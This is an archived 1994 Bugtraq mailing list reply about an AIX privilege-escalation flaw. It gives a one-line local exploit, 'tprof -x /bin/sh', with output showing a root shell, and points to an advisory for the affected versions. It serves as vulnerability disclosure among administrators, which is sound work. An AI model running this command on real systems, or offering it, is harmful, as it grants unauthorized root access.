Bugtraq mailing list archives

Re: bosperf bug

From: rick+ () badboy hq af mil (Rick Weldon, Sys. Adm 55060)
Date: Fri, 20 May 1994 08:16:27 -0400 (EDT)


The AIX folks gotta severe brain cramp on this one. 
One of our admins here found this.

To gain root access on certain versions of AIX

$ tprof -x /bin/sh
# whoami
root
#

See the advisory for which versions are affected.


Rick Weldon     I-NET Inc.
E-mail: rick () hq af mil

Current thread:

Re: bin ownership problem George Hodson (May 19)
- <Possible follow-ups>
- Re: bin ownership problem Brad Powell - Sun CIS (May 19)
  - Re: bin ownership problem Perry E. Metzger (May 19)
  - source routing kernel hack Brad Powell - Sun CIS (May 19)
  - Re: bin ownership problem Karl Strickland (May 19)
  - bosperf bug THOMAS P. WALPOLE (May 19)
    - Re: bosperf bug Rick Weldon, Sys. Adm 55060 (May 20)
    - Re: bosperf bug Aggelos D. Keromitis (May 20)